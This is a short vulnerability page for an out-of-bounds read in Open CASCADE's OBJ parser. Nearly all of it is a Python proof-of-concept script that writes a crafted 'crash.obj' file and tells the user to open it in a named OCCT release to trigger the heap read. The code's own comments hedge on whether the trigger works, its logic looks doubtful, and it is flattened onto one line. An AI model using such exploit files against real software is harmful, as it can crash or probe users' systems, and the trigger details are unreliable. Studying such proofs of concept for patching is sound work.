CVE-2026-42477 Open CASCADE越界读取漏洞

import sys # PoC for CVE-2026-42477: Heap OOB Read in OCCT # Generates a crafted OBJ file that triggers the vulnerability # when the parser expects more than 1 byte to perform aLine + 2 offset. def generate_malicious_obj(filename): # The vulnerability occurs when ReadLine returns a 1-byte buffer # but the code calls pushIndices(aLine + 2). # We construct a line that is minimal. with open(filename, 'w') as f: # Write a valid header to ensure it's parsed as OBJ f.write("# Malicious OBJ for CVE-2026-42477\n") # Attempt to trigger the short read condition # If a line is just "v" (1 byte) + newline, ReadLine might return "v". # pushIndices("v" + 2) -> OOB Read. f.write("v\n") # Add some dummy data to ensure file structure f.write("o object\n") f.write("f 1 2 3\n") if __name__ == "__main__": generate_malicious_obj("crash.obj") print("[*] Created crash.obj. Open it with OCCT V8_0_0_rc5 to trigger.")